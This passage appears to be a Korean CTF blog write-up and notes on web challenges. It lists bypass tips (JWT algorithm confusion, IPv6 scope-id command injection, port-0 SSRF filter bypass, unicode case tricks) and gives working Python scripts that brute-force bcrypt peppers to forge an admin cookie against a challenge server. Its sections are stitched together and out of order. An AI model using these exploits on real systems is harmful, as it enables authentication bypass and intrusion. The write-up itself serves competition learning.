// Apply the gift card value to the user's balance
const { Balance } = await User.findById(req.user.userId).select('Balance');
user.Balance = Balance + discount.value;
// Introduce a slight delay to ensure proper logging of the transaction
// and prevent potential database write collisions in high-load scenarios.
new Promise(resolve => setTimeout(resolve, delay * 1000));
user.lastVoucherRedemption = today;
await user.save();
위 소스코드는 쿠폰 등록 로직 중 일부인데, 딜레이를 처리하는 부분에서 Race Condition이 발생할 가능성이 있다고 판단했다.
// Now handle the DiscountCode (Gift Card)
let { discountCode } = req.query;
if (!discountCode) {
return res.render('error', { Authenticated: true, message: 'Discount code is required!' });
}
const discount = await DiscountCodes.findOne({discountCode})
if (!discount) {
return res.render('error', { Authenticated: true, message: 'Invalid discount code!' });
}
3. Node.js 소스코드에서 parseFloat 함수 등을 사용하는 경우, parseFloat issue를 고려하자.. Ref: Dreamhack Self-deception Ex) parseFloat(1 - 0.9999999) => 9.999999994736442e-8 이 때 parseInt로 변경하면 9가 된다.
4. Nginx, Haproxy 등에서 Endpoint 검증할 때 대소문자 등 다양한 방법으로 우회 시도
5. Hs256 to Rs256 public key 엔터 여부 등등 여러요소 고려
6. IPv4, IPv6 등 IP 주소를 입력할 수 있는 곳이 있다면 IPv6 Scope Id를 이용하여 Comand Injection과 같으 공격 수행 가능
7. toLowerCase(), toUpperCase() bypass with unicode
8. Python에서 SSRF 취약점 방지를 위한 PORT 검사를 할 때, 0으로 bypass 하고 iptables를 이용하여 80포트로 리다이렉션되게 할 수 있다.
hash_equals 함수에 Array를 삽입하면 $admin_password를 알아낼 수 있다.
$pepper1의 마지막 글자를 알아내기 위해서는 BCrypt의 특성을 활용해야 한다. BCrypt는 입력된 비밀번호의 첫 72바이트까지만 처리하고 이후의 문자열은 무시한다. 따라서 비밀번호를 길게 입력하면 $pepper2를 무력화할 수 있고 이 상태에서 브루트 포싱을 실행하면 $pepper1의 마지막 글자를 효율적으로 추출할 수 있다.
import base64
import bcrypt
import string
import requests
URL = "http://34.84.32.212:8080"
pepper1_15 = "PmVG7xe9ECBSgLU"
response = requests.post(
URL, data={"auth": "guest", "password": "A" * 51}, allow_redirects=False
)
hash = base64.b64decode(response.cookies["hash"])
if hash.startswith(b"$2y$"):
hash = b"$2b$" + hash[4:]
for i in string.printable:
if bcrypt.checkpw(f"{pepper1_15}{i}guest{'A' * 51}".encode(), hash):
print(f"FOUND: {pepper1_15}{i}")
break
위 테크닉을 응용하면, 동일한 방식으로 $pepper2도 추출할 수 있다.
import base64
import bcrypt
import string
import requests
URL = "http://34.84.32.212:8080"
pepper1 = "PmVG7xe9ECBSgLUA"
pepper2 = ""
for i in range(16):
response = requests.post(
URL,
data={"auth": "guest", "password": "A" * (51 - (i + 1))},
allow_redirects=False,
)
hash = base64.b64decode(response.cookies["hash"])
if hash.startswith(b"$2y$"):
hash = b"$2b$" + hash[4:]
for j in string.printable:
if bcrypt.checkpw(
f"{pepper1}guest{'A' * (51 - (i + 1)) + pepper2 + j}".encode(), hash
):
print(f"FOUND: {pepper2 + j}")
pepper2 += j
break
$ php -r "echo password_hash('PmVG7xe9ECBSgLUAadminKeTzkrRuESlhd1V8oC7mIiDFw4hQv2e', PASSWORD_BCRYPT);" | base64 -w 0
JDJ5JDEwJHBqTkl6SDg4Qm85VG1kd1NiZ3VqQWVJT0tGVm15U05XUDRqNVRXUkpPN3BEaHBnaTFyTFp1
$ curl http://34.84.32.212:8080/mypage.php -H "Cookie: auth=admin; hash=JDJ5JDEwJHBqTkl6SDg4Qm85VG1kd1NiZ3VqQWVJT0tGVm15U05XUDRqNVRXUkpPN3BEaHBnaTFyTFp1"
<!DOCTYPE html>
<html>
<head>
</head>
<body>
Hello admin! Flag is TSGCTF{Pepper. The ultimate layer of security for your meals.}
</body>
</html>
'our team name was stolen' 팀으로 Academic 부문 예선에서 10위를 기록하며 본선 진출에 성공했습니다.
평소에 풀던 웹 문제와는 달리 게싱적인 요소가 많아 어려움을 느꼈던 대회입니다 .. ㅠㅠ 웹 문제 전체 Write-Up을 작성하면 도움이 될 것 같아, 한 번 블로그에 정리해보려고 합니다.
o1
이 문제는 3단 프록시로 구성되어 있으며, 각 프록시별 필터를 우회해 SSRF를 트리거하는 방식으로 접근해야 했습니다. 최종적으로는 9222 포트에 위치한 /secret 엔드포인트에 localhost로 접속하는 것이 목표였습니다.
1단계 필터
def proxy():
url = request.args.get('url', '')
if not url:
return 'Missing url parameter', 400
# Replace backslashes with slashes
url = url.replace('\\', '/')
print(url, flush=True)
parsed = urllib.parse.urlparse(url)
print(parsed, flush=True)
# Check for valid protocol
if parsed.scheme not in ['http', 'https']:
return 'invalid protocol', 400
# Check for custom port
if parsed.port:
return 'no custom port allowed', 400
2단계 필터
def proxy():
data = request.get_json()
if not data or 'url' not in data:
return 'Missing url parameter', 400
url = data['url']
parsed = urllib.parse.urlparse(url)
scheme = parsed.scheme
hostname = parsed.hostname
port = parsed.port
# Determine the port if not explicitly specified
if port is None:
try:
port = socket.getservbyname(scheme)
except:
return 'Invalid scheme', 400
# Validate the target domain based on the port
if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'):
return 'invalid target domain!', 400
1번째와 2번째 필터는 모두 포트 검사를 수행하고 있으며, 이를 우회하는 것이 문제 해결의 핵심인 것으로 보입니다.
if parsed.port:
return 'no custom port allowed', 400
이 부분에서는 port가 0일 경우 항상 false로 처리되므로 이를 이용해 필터를 우회할 수 있습니다.
if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'):
return 'invalid target domain!', 400
이 부분에서는 포트가 443 또는 80일 때만 확인하도록 되어 있으므로, 포트를 0으로 설정하면 두 조건을 모두 우회할 수 있습니다.